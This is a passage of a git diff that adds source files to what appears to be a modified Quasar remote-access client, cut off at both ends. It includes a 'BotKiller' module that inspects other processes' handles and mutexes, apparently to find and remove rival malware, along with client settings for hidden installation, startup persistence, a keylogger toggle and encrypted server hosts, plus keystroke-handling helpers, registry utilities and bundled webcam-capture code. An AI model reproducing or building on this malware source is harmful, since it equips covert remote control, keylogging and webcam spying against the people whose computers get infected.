IntPtr.Zero; + + try + { + m_ipProcessHwnd = Win32API.OpenProcess(Win32API.ProcessAccessFlags.DupHandle, false, process.Id); + if (m_ipProcessHwnd == IntPtr.Zero) + return null; + + if (!Win32API.DuplicateHandle(m_ipProcessHwnd, shHandle.Handle, Win32API.GetCurrentProcess(), out ipHandle, 0, false, Win32API.DUPLICATE_SAME_ACCESS)) + return null; + + Win32API.OBJECT_BASIC_INFORMATION objBasic = new Win32API.OBJECT_BASIC_INFORMATION(); + ipBasic = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Win32API.OBJECT_BASIC_INFORMATION))); + int nLength = 0; + + int result = Win32API.NtQueryObject(ipHandle, 0, ipBasic, Marshal.SizeOf(typeof(Win32API.OBJECT_BASIC_INFORMATION)), ref nLength); + if (result != 0) + { + Marshal.FreeHGlobal(ipBasic); + return null; + } + + objBasic = (Win32API.OBJECT_BASIC_INFORMATION)Marshal.PtrToStructure(ipBasic, typeof(Win32API.OBJECT_BASIC_INFORMATION)); + Marshal.FreeHGlobal(ipBasic); + ipBasic = IntPtr.Zero; + + if (objBasic.NameInformationLength <= 0 || objBasic.NameInformationLength > 65536) + return null; + + nLength = objBasic.NameInformationLength; + ipObjectName = Marshal.AllocHGlobal(nLength); + + // Try to query object name with retry limit + int retries = 0; + while ((result = Win32API.NtQueryObject(ipHandle, 1, ipObjectName, nLength, ref nLength)) == -1073741820 && retries < 3) + { + Marshal.FreeHGlobal(ipObjectName); + if (nLength <= 0 || nLength > 65536) + return null; + ipObjectName = Marshal.AllocHGlobal(nLength); + retries++; + } + + if (result != 0) + { + Marshal.FreeHGlobal(ipObjectName); + return null; + } + + Win32API.OBJECT_NAME_INFORMATION objObjectName = (Win32API.OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(ipObjectName, typeof(Win32API.OBJECT_NAME_INFORMATION)); + + IntPtr ipTemp; + if (Is64Bits()) + ipTemp = new IntPtr(Convert.ToInt64(objObjectName.Name.Buffer.ToString(), 10) >> 32); + else + ipTemp = objObjectName.Name.Buffer; + + if (ipTemp != IntPtr.Zero && objObjectName.Name.Length > 0) + { + string name = Marshal.PtrToStringUni(ipTemp, objObjectName.Name.Length / 2); + Marshal.FreeHGlobal(ipObjectName); + ipObjectName = IntPtr.Zero; + + // Extract mutex name from full path + if (!string.IsNullOrEmpty(name) && name.Contains("\\")) + { + string[] parts = name.Split('\\'); + if (parts.Length > 4) + return parts[4]; + } + return name; + } + + if (ipObjectName != IntPtr.Zero) + Marshal.FreeHGlobal(ipObjectName); + } + catch { } + finally + { + if (ipBasic != IntPtr.Zero) + Marshal.FreeHGlobal(ipBasic); + if (ipObjectName != IntPtr.Zero) + Marshal.FreeHGlobal(ipObjectName); + if (ipHandle != IntPtr.Zero) + Win32API.CloseHandle(ipHandle); + if (m_ipProcessHwnd != IntPtr.Zero) + Win32API.CloseHandle(m_ipProcessHwnd); + } + + return null; + } + + private static bool Is64Bits() + { + return Marshal.SizeOf(typeof(IntPtr)) == 8; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/BotKiller/Win32API.cs b/Quasar-1.4.1/Quasar.Client/BotKiller/Win32API.cs new file mode 100755 index 0000000..52e10ee --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/BotKiller/Win32API.cs @@ -0,0 +1,94 @@ +using System; +using System.Runtime.InteropServices; + +namespace Quasar.Client.BotKiller +{ + public class Win32API + { + [DllImport("ntdll.dll")] + public static extern int NtQueryObject(IntPtr ObjectHandle, int ObjectInformationClass, IntPtr ObjectInformation, int ObjectInformationLength, ref int returnLength); + + [DllImport("ntdll.dll")] + public static extern uint NtQuerySystemInformation(int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int returnLength); + + [DllImport("kernel32.dll")] + public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId); + + [DllImport("kernel32.dll")] + public static extern int CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll")] + public static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, ushort hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, bool bInheritHandle, uint dwOptions); + + [DllImport("kernel32.dll")] + public static extern IntPtr GetCurrentProcess(); + + [DllImport("user32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool IsWindowVisible(IntPtr hWnd); + + [DllImport("ntdll.dll")] + public static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength); + + public const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004; + public const int DUPLICATE_SAME_ACCESS = 2; + + [Flags] + public enum ProcessAccessFlags : uint + { + All = 0x001F0FFF, + Terminate = 0x00000001, + CreateThread = 0x00000002, + VMOperation = 0x00000008, + VMRead = 0x00000010, + VMWrite = 0x00000020, + DupHandle = 0x00000040, + SetInformation = 0x00000200, + QueryInformation = 0x00000400, + Synchronize = 0x00100000 + } + + [StructLayout(LayoutKind.Sequential)] + public struct OBJECT_BASIC_INFORMATION + { + public int Attributes; + public int GrantedAccess; + public int HandleCount; + public int PointerCount; + public int PagedPoolUsage; + public int NonPagedPoolUsage; + public int Reserved1; + public int Reserved2; + public int Reserved3; + public int NameInformationLength; + public int TypeInformationLength; + public int SecurityDescriptorLength; + public System.Runtime.InteropServices.ComTypes.FILETIME CreateTime; + } + + [StructLayout(LayoutKind.Sequential)] + public struct UNICODE_STRING + { + public ushort Length; + public ushort MaximumLength; + public IntPtr Buffer; + } + + [StructLayout(LayoutKind.Sequential)] + public struct OBJECT_NAME_INFORMATION + { + public UNICODE_STRING Name; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct SYSTEM_HANDLE_INFORMATION + { + public int ProcessID; + public byte ObjectTypeNumber; + public byte Flags; + public ushort Handle; + public int Object_Pointer; + public uint GrantedAccess; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Config/Settings.cs b/Quasar-1.4.1/Quasar.Client/Config/Settings.cs new file mode 100755 index 0000000..82cc48c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Config/Settings.cs @@ -0,0 +1,113 @@ +using Quasar.Common.Cryptography; +using System; +using System.IO; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Windows.Forms; + +namespace Quasar.Client.Config +{ + /// + /// Stores the configuration of the client. + /// + public static class Settings + { +#if DEBUG + public static string VERSION = Application.ProductVersion; + public static string HOSTS = "localhost:4782;"; + public static int RECONNECTDELAY = 500; + public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData; + public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER); + public static string SUBDIRECTORY = "Test"; + public static string INSTALLNAME = "test.exe"; + public static bool INSTALL = false; + public static bool STARTUP = false; + public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!"; + public static string STARTUPKEY = "Test key"; + public static bool HIDEFILE = false; + public static bool ENABLELOGGER = false; + public static string ENCRYPTIONKEY = "CFCD0759E20F29C399C9D4210BE614E4E020BEE8"; + public static string TAG = "DEBUG"; + public static string LOGDIRECTORYNAME = "Logs"; + public static string SERVERSIGNATURE = ""; + public static string SERVERCERTIFICATESTR = ""; + public static X509Certificate2 SERVERCERTIFICATE; + public static bool HIDELOGDIRECTORY = false; + public static bool HIDEINSTALLSUBDIRECTORY = false; + public static string INSTALLPATH = ""; + public static string LOGSPATH = ""; + public static bool UNATTENDEDMODE = true; + + public static bool Initialize() + { + SetupPaths(); + return true; + } +#else + public static string VERSION = ""; + public static string HOSTS = ""; + public static int RECONNECTDELAY = 5000; + public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData; + public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER); + public static string SUBDIRECTORY = ""; + public static string INSTALLNAME = ""; + public static bool INSTALL = false; + public static bool STARTUP = false; + public static string MUTEX = ""; + public static string STARTUPKEY = ""; + public static bool HIDEFILE = false; + public static bool ENABLELOGGER = false; + public static string ENCRYPTIONKEY = ""; + public static string TAG = ""; + public static string LOGDIRECTORYNAME = ""; + public static string SERVERSIGNATURE = ""; + public static string SERVERCERTIFICATESTR = ""; + public static X509Certificate2 SERVERCERTIFICATE; + public static bool HIDELOGDIRECTORY = false; + public static bool HIDEINSTALLSUBDIRECTORY = false; + public static string INSTALLPATH = ""; + public static string LOGSPATH = ""; + public static bool UNATTENDEDMODE = false; + + public static bool Initialize() + { + if (string.IsNullOrEmpty(VERSION)) return false; + var aes = new Aes256(ENCRYPTIONKEY); + TAG = aes.Decrypt(TAG); + VERSION = aes.Decrypt(VERSION); + HOSTS = aes.Decrypt(HOSTS); + SUBDIRECTORY = aes.Decrypt(SUBDIRECTORY); + INSTALLNAME = aes.Decrypt(INSTALLNAME); + MUTEX = aes.Decrypt(MUTEX); + STARTUPKEY = aes.Decrypt(STARTUPKEY); + LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME); + SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE); + SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR))); + SetupPaths(); + return VerifyHash(); + } +#endif + + static void SetupPaths() + { + LOGSPATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), LOGDIRECTORYNAME); + INSTALLPATH = Path.Combine(DIRECTORY, (!string.IsNullOrEmpty(SUBDIRECTORY) ? SUBDIRECTORY + @"\" : "") + INSTALLNAME); + } + + static bool VerifyHash() + { + try + { + var csp = (RSACryptoServiceProvider) SERVERCERTIFICATE.PublicKey.Key; + return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY)), CryptoConfig.MapNameToOID("SHA256"), + Convert.FromBase64String(SERVERSIGNATURE)); + + } + catch (Exception) + { + return false; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Extensions/KeyExtensions.cs b/Quasar-1.4.1/Quasar.Client/Extensions/KeyExtensions.cs new file mode 100755 index 0000000..9f6c5e0 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Extensions/KeyExtensions.cs @@ -0,0 +1,59 @@ +using System.Collections.Generic; +using System.Linq; +using System.Windows.Forms; + +namespace Quasar.Client.Extensions +{ + public static class KeyExtensions + { + public static bool ContainsModifierKeys(this List pressedKeys) + { + return pressedKeys.Any(x => x.IsModifierKey()); + } + + public static bool IsModifierKey(this Keys key) + { + return (key == Keys.LControlKey + || key == Keys.RControlKey + || key == Keys.LMenu + || key == Keys.RMenu + || key == Keys.LWin + || key == Keys.RWin + || key == Keys.Control + || key == Keys.Alt); + } + + public static bool ContainsKeyChar(this List pressedKeys, char c) + { + return pressedKeys.Contains((Keys)char.ToUpper(c)); + } + + public static bool IsExcludedKey(this Keys k) + { + // The keys below are excluded. If it is one of the keys below, + // the KeyPress event will handle these characters. If the keys + // are not any of those specified below, we can continue. + return (k >= Keys.A && k <= Keys.Z + || k >= Keys.NumPad0 && k <= Keys.Divide + || k >= Keys.D0 && k <= Keys.D9 + || k >= Keys.Oem1 && k <= Keys.OemClear + || k >= Keys.LShiftKey && k <= Keys.RShiftKey + || k == Keys.CapsLock + || k == Keys.Space); + } + + public static string GetDisplayName(this Keys key) + { + string name = key.ToString(); + if (name.Contains("ControlKey")) + return "Control"; + else if (name.Contains("Menu")) + return "Alt"; + else if (name.Contains("Win")) + return "Win"; + else if (name.Contains("Shift")) + return "Shift"; + return name; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Extensions/ProcessExtensions.cs b/Quasar-1.4.1/Quasar.Client/Extensions/ProcessExtensions.cs new file mode 100755 index 0000000..072b5ae --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Extensions/ProcessExtensions.cs @@ -0,0 +1,19 @@ +using Quasar.Client.Utilities; +using System.Diagnostics; +using System.Text; + +namespace Quasar.Client.Extensions +{ + public static class ProcessExtensions + { + public static string GetMainModuleFileName(this Process proc) + { + uint nChars = 260; + StringBuilder buffer = new StringBuilder((int)nChars); + + var success = NativeMethods.QueryFullProcessImageName(proc.Handle, 0, buffer, ref nChars); + + return success ? buffer.ToString() : null; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Extensions/RegistryKeyExtensions.cs b/Quasar-1.4.1/Quasar.Client/Extensions/RegistryKeyExtensions.cs new file mode 100755 index 0000000..37cd7b4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Extensions/RegistryKeyExtensions.cs @@ -0,0 +1,400 @@ +using Microsoft.Win32; +using Quasar.Common.Utilities; +using System; +using System.Collections.Generic; +using System.Linq; + +namespace Quasar.Client.Extensions +{ + /// + /// Provides extensions for registry key and value operations. + /// + public static class RegistryKeyExtensions + { + /// + /// Determines if the registry key by the name provided is null or has the value of null. + /// + /// The name associated with the registry key. + /// The actual registry key. + /// True if the provided name is null or empty, or the key is null; False if otherwise. + private static bool IsNameOrValueNull(this string keyName, RegistryKey key) + { + return (string.IsNullOrEmpty(keyName) || (key == null)); + } + + /// + /// Attempts to get the string value of the key using the specified key name. This method assumes + /// correct input. + /// + /// The key of which we obtain the value of. + /// The name of the key. + /// The default value if value can not be determined. + /// Returns the value of the key using the specified key name. If unable to do so, + /// defaultValue will be returned instead. + public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "") + { + try + { + return key.GetValue(keyName, defaultValue).ToString(); + } + catch + { + return defaultValue; + } + } + + /// + /// Attempts to obtain a readonly (non-writable) sub key from the key provided using the + /// specified name. Exceptions thrown will be caught and will only return a null key. + /// This method assumes the caller will dispose of the key when done using it. + /// + /// The key of which the sub key is obtained from. + /// The name of the sub-key. + /// Returns the sub-key obtained from the key and name provided; Returns null if + /// unable to obtain a sub-key. + public static RegistryKey OpenReadonlySubKeySafe(this RegistryKey key, string name) + { + try + { + return key.OpenSubKey(name, false); + } + catch + { + return null; + } + } + + /// + /// Attempts to obtain a writable sub key from the key provided using the specified + /// name. This method assumes the caller will dispose of the key when done using it. + /// + /// The key of which the sub key is obtained from. + /// The name of the sub-key. + /// Returns the sub-key obtained from the key and name provided; Returns null if + /// unable to obtain a sub-key. + public static RegistryKey OpenWritableSubKeySafe(this RegistryKey key, string name) + { + try + { + return key.OpenSubKey(name, true); + } + catch + { + return null; + } + } + + /// + /// Attempts to create a sub key from the key provided using the specified + /// name. This method assumes the caller will dispose of the key when done using it. + /// + /// The key of which the sub key is to be created from. + /// The name of the sub-key. + /// Returns the sub-key that was created for the key and name provided; Returns null if + /// unable to create a sub-key. + public static RegistryKey CreateSubKeySafe(this RegistryKey key, string name) + { + try + { + return key.CreateSubKey(name); + } + catch + { + return null; + } + } + + /// + /// Attempts to delete a sub-key and its children from the key provided using the specified + /// name. + /// + /// The key of which the sub-key is to be deleted from. + /// The name of the sub-key. + /// Returns true if the action succeeded, otherwise false. + public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name) + { + try + { + key.DeleteSubKeyTree(name, true); + return true; + } + catch + { + return false; + } + } + + /* + * Derived and Adapted from drdandle's article, + * Copy and Rename Registry Keys at Code project. + * Copy and Rename Registry Keys (Post Date: November 11, 2006) + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * This is a work that is not of the original. It + * has been modified to suit the needs of another + * application. + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * First Modified by StingRaptor on January 21, 2016 + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Original Source: + * http://www.codeproject.com/Articles/16343/Copy-and-Rename-Registry-Keys + */ + + /// + /// Attempts to rename a sub-key to the key provided using the specified old + /// name and new name. + /// + /// The key of which the subkey is to be renamed from. + /// The old name of the sub-key. + /// The new name of the sub-key. + /// Returns true if the action succeeded, otherwise false. + public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName) + { + try + { + //Copy from old to new + key.CopyKey(oldName, newName); + //Dispose of the old key + key.DeleteSubKeyTree(oldName); + return true; + } + catch + { + //Try to dispose of the newKey (The rename failed) + key.DeleteSubKeyTreeSafe(newName); + return false; + } + } + + /// + /// Attempts to copy a old subkey to a new subkey for the key + /// provided using the specified old name and new name. (throws exceptions) + /// + /// The key of which the subkey is to be deleted from. + /// The old name of the sub-key. + /// The new name of the sub-key. + public static void CopyKey(this RegistryKey key, string oldName, string newName) + { + //Create a new key + using (RegistryKey newKey = key.CreateSubKey(newName)) + { + //Open old key + using (RegistryKey oldKey = key.OpenSubKey(oldName, true)) + { + //Copy from old to new + RecursiveCopyKey(oldKey, newKey); + } + } + } + + /// + /// Attempts to rename a sub-key to the key provided using the specified old + /// name and new name. + /// + /// The source key to copy from. + /// The destination key to copy to. + private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey) + { + + //Copy all of the registry values + foreach (string valueName in sourceKey.GetValueNames()) + { + object valueObj = sourceKey.GetValue(valueName); + RegistryValueKind valueKind = sourceKey.GetValueKind(valueName); + destKey.SetValue(valueName, valueObj, valueKind); + } + + //Copy all of the subkeys + foreach (string subKeyName in sourceKey.GetSubKeyNames()) + { + using (RegistryKey sourceSubkey = sourceKey.OpenSubKey(subKeyName)) + { + using (RegistryKey destSubKey = destKey.CreateSubKey(subKeyName)) + { + //Recursive call to copy the sub key data + RecursiveCopyKey(sourceSubkey, destSubKey); + } + } + } + } + + /// + /// Attempts to set a registry value for the key provided using the specified + /// name, data and kind. If the registry value does not exist it will be created + /// + /// The key of which the value is to be set for. + /// The name of the value. + /// The data of the value + /// The value kind of the value + /// Returns true if the action succeeded, otherwise false. + public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind) + { + try + { + // handle type conversion + if (kind != RegistryValueKind.Binary && data.GetType() == typeof(byte[])) + { + switch (kind) + { + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + data = ByteConverter.ToString((byte[]) data); + break; + case RegistryValueKind.DWord: + data = ByteConverter.ToUInt32((byte[]) data); + break; + case RegistryValueKind.QWord: + data = ByteConverter.ToUInt64((byte[]) data); + break; + case RegistryValueKind.MultiString: + data = ByteConverter.ToStringArray((byte[]) data); + break; + } + } + key.SetValue(name, data, kind); + return true; + } + catch + { + return false; + } + } + + /// + /// Attempts to delete a registry value for the key provided using the specified + /// name. + /// + /// The key of which the value is to be delete from. + /// The name of the value. + /// Returns true if the action succeeded, otherwise false. + public static bool DeleteValueSafe(this RegistryKey key, string name) + { + try + { + key.DeleteValue(name); + return true; + } + catch + { + return false; + } + } + + /// + /// Attempts to rename a registry value to the key provided using the specified old + /// name and new name. + /// + /// The key of which the registry value is to be renamed from. + /// The old name of the registry value. + /// The new name of the registry value. + /// Returns true if the action succeeded, otherwise false. + public static bool RenameValueSafe(this RegistryKey key, string oldName, string newName) + { + try + { + //Copy from old to new + key.CopyValue(oldName, newName); + //Dispose of the old value + key.DeleteValue(oldName); + return true; + } + catch + { + //Try to dispose of the newKey (The rename failed) + key.DeleteValueSafe(newName); + return false; + } + } + + /// + /// Attempts to copy a old registry value to a new registry value for the key + /// provided using the specified old name and new name. (throws exceptions) + /// + /// The key of which the registry value is to be copied. + /// The old name of the registry value. + /// The new name of the registry value. + public static void CopyValue(this RegistryKey key, string oldName, string newName) + { + RegistryValueKind valueKind = key.GetValueKind(oldName); + object valueData = key.GetValue(oldName); + + key.SetValue(newName, valueData, valueKind); + } + + /// + /// Checks if the specified subkey exists in the key + /// + /// The key of which to search. + /// The name of the sub-key to find. + /// Returns true if the action succeeded, otherwise false. + public static bool ContainsSubKey(this RegistryKey key, string name) + { + foreach (string subkey in key.GetSubKeyNames()) + { + if (subkey == name) + { + return true; + } + } + return false; + } + + /// + /// Checks if the specified registry value exists in the key + /// + /// The key of which to search. + /// The name of the registry value to find. + /// Returns true if the action succeeded, otherwise false. + public static bool ContainsValue(this RegistryKey key, string name) + { + foreach (string value in key.GetValueNames()) + { + if (value == name) + { + return true; + } + } + return false; + } + + /// + /// Gets all of the value names associated with the registry key and returns + /// formatted strings of the filtered values. + /// + /// The registry key of which the values are obtained. + /// Yield returns formatted strings of the key and the key value. + public static IEnumerable> GetKeyValues(this RegistryKey key) + { + if (key == null) yield break; + + foreach (var k in key.GetValueNames().Where(keyVal => !keyVal.IsNameOrValueNull(key)).Where(k => !string.IsNullOrEmpty(k))) + { + yield return new Tuple(k, key.GetValueSafe(k)); + } + } + + /// + /// Gets the default value for a given data type of a registry value. + /// + /// The data type of the registry value. + /// The default value for the given . + public static object GetDefault(this RegistryValueKind valueKind) + { + switch (valueKind) + { + case RegistryValueKind.Binary: + return new byte[] {}; + case RegistryValueKind.MultiString: + return new string[] {}; + case RegistryValueKind.DWord: + return 0; + case RegistryValueKind.QWord: + return (long)0; + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return ""; + default: + return null; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/CameraControlProperty.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/CameraControlProperty.cs new file mode 100755 index 0000000..8ab1f6c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/CameraControlProperty.cs @@ -0,0 +1,67 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + + /// + /// The enumeration specifies a setting on a camera. + /// + public enum CameraControlProperty + { + /// + /// Pan control. + /// + Pan = 0, + /// + /// Tilt control. + /// + Tilt, + /// + /// Roll control. + /// + Roll, + /// + /// Zoom control. + /// + Zoom, + /// + /// Exposure control. + /// + Exposure, + /// + /// Iris control. + /// + Iris, + /// + /// Focus control. + /// + Focus + } + + /// + /// The enumeration defines whether a camera setting is controlled manually or automatically. + /// + [Flags] + public enum CameraControlFlags + { + /// + /// No control flag. + /// + None = 0x0, + /// + /// Auto control Flag. + /// + Auto = 0x0001, + /// + /// Manual control Flag. + /// + Manual = 0x0002 + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/FilterInfo.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/FilterInfo.cs new file mode 100755 index 0000000..c70e966 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/FilterInfo.cs @@ -0,0 +1,193 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + using AForge.Video.DirectShow.Internals; + + /// + /// DirectShow filter information. + /// + /// + public class FilterInfo : IComparable + { + /// + /// Filter name. + /// + public string Name { get; private set; } + + /// + /// Filters's moniker string. + /// + /// + public string MonikerString { get; private set; } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Filters's moniker string. + /// + public FilterInfo( string monikerString ) + { + MonikerString = monikerString; + Name = GetName( monikerString ); + } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Filter's moniker object. + /// + internal FilterInfo( IMoniker moniker ) + { + MonikerString = GetMonikerString( moniker ); + Name = GetName( moniker ); + } + + /// + /// Compare the object with another instance of this class. + /// + /// + /// Object to compare with. + /// + /// A signed number indicating the relative values of this instance and value. + /// + public int CompareTo( object value ) + { + FilterInfo f = (FilterInfo) value; + + if ( f == null ) + return 1; + + return ( this.Name.CompareTo( f.Name ) ); + } + + /// + /// Create an instance of the filter. + /// + /// + /// Filter's moniker string. + /// + /// Returns filter's object, which implements IBaseFilter interface. + /// + /// The returned filter's object should be released using Marshal.ReleaseComObject(). + /// + public static object CreateFilter( string filterMoniker ) + { + // filter's object + object filterObject = null; + // bind context and moniker objects + IBindCtx bindCtx = null; + IMoniker moniker = null; + + int n = 0; + + // create bind context + if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 ) + { + // convert moniker`s string to a moniker + if ( Win32.MkParseDisplayName( bindCtx, filterMoniker, ref n, out moniker ) == 0 ) + { + // get device base filter + Guid filterId = typeof( IBaseFilter ).GUID; + moniker.BindToObject( null, null, ref filterId, out filterObject ); + + Marshal.ReleaseComObject( moniker ); + } + Marshal.ReleaseComObject( bindCtx ); + } + return filterObject; + } + + // + // Get moniker string of the moniker + // + private string GetMonikerString( IMoniker moniker ) + { + string str; + moniker.GetDisplayName( null, null, out str ); + return str; + } + + // + // Get filter name represented by the moniker + // + private string GetName( IMoniker moniker ) + { + Object bagObj = null; + IPropertyBag bag = null; + + try + { + Guid bagId = typeof( IPropertyBag ).GUID; + // get property bag of the moniker + moniker.BindToStorage( null, null, ref bagId, out bagObj ); + bag = (IPropertyBag) bagObj; + + // read FriendlyName + object val = ""; + int hr = bag.Read( "FriendlyName", ref val, IntPtr.Zero ); + if ( hr != 0 ) + Marshal.ThrowExceptionForHR( hr ); + + // get it as string + string ret = (string) val; + if ( ( ret == null ) || ( ret.Length < 1 ) ) + throw new ApplicationException( ); + + return ret; + } + catch ( Exception ) + { + return ""; + } + finally + { + // release all COM objects + bag = null; + if ( bagObj != null ) + { + Marshal.ReleaseComObject( bagObj ); + bagObj = null; + } + } + } + + // + // Get filter name represented by the moniker string + // + private string GetName( string monikerString ) + { + IBindCtx bindCtx = null; + IMoniker moniker = null; + String name = ""; + int n = 0; + + // create bind context + if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 ) + { + // convert moniker`s string to a moniker + if ( Win32.MkParseDisplayName( bindCtx, monikerString, ref n, out moniker ) == 0 ) + { + // get device name + name = GetName( moniker ); + + Marshal.ReleaseComObject( moniker ); + moniker = null; + } + Marshal.ReleaseComObject( bindCtx ); + bindCtx = null; + } + return name; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/FilterInfoCollection.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/FilterInfoCollection.cs new file mode 100755 index 0000000..dabd30d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/FilterInfoCollection.cs @@ -0,0 +1,138 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Collections; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + using AForge.Video.DirectShow.Internals; + + /// + /// Collection of filters' information objects. + /// + /// + /// The class allows to enumerate DirectShow filters of specified category. For + /// a list of categories see . + /// + /// Sample usage: + /// + /// // enumerate video devices + /// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice ); + /// // list devices + /// foreach ( FilterInfo device in videoDevices ) + /// { + /// // ... + /// } + /// + /// + /// + public class FilterInfoCollection : CollectionBase + { + /// + /// Initializes a new instance of the class. + /// + /// + /// Guid of DirectShow filter category. See . + /// + /// Build collection of filters' information objects for the + /// specified filter category. + /// + public FilterInfoCollection( Guid category ) + { + CollectFilters( category ); + } + + /// + /// Get filter information object. + /// + /// + /// Index of filter information object to retrieve. + /// + /// Filter information object. + /// + public FilterInfo this[int index] + { + get + { + return ( (FilterInfo) InnerList[index] ); + } + } + + // Collect filters of specified category + private void CollectFilters( Guid category ) + { + object comObj = null; + ICreateDevEnum enumDev = null; + IEnumMoniker enumMon = null; + IMoniker[] devMon = new IMoniker[1]; + int hr; + + try + { + // Get the system device enumerator + Type srvType = Type.GetTypeFromCLSID( Clsid.SystemDeviceEnum ); + if ( srvType == null ) + throw new ApplicationException( "Failed creating device enumerator" ); + + // create device enumerator + comObj = Activator.CreateInstance( srvType ); + enumDev = (ICreateDevEnum) comObj; + + // Create an enumerator to find filters of specified category + hr = enumDev.CreateClassEnumerator( ref category, out enumMon, 0 ); + if ( hr != 0 ) + throw new ApplicationException( "No devices of the category" ); + + // Collect all filters + IntPtr n = IntPtr.Zero; + while ( true ) + { + // Get next filter + hr = enumMon.Next( 1, devMon, n ); + if ( ( hr != 0 ) || ( devMon[0] == null ) ) + break; + + // Add the filter + FilterInfo filter = new FilterInfo( devMon[0] ); + InnerList.Add( filter ); + + // Release COM object + Marshal.ReleaseComObject( devMon[0] ); + devMon[0] = null; + } + + // Sort the collection + InnerList.Sort( ); + } + catch + { + } + finally + { + // release all COM objects + enumDev = null; + if ( comObj != null ) + { + Marshal.ReleaseComObject( comObj ); + comObj = null; + } + if ( enumMon != null ) + { + Marshal.ReleaseComObject( enumMon ); + enumMon = null; + } + if ( devMon[0] != null ) + { + Marshal.ReleaseComObject( devMon[0] ); + devMon[0] = null; + } + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMCameraControl.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMCameraControl.cs new file mode 100755 index 0000000..c207797 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMCameraControl.cs @@ -0,0 +1,81 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IAMCameraControl interface controls camera settings such as zoom, pan, aperture adjustment, + /// or shutter speed. To obtain this interface, query the filter that controls the camera. + /// + [ComImport, + Guid( "C6E13370-30AC-11d0-A18C-00A0C9118956" ), + InterfaceType( 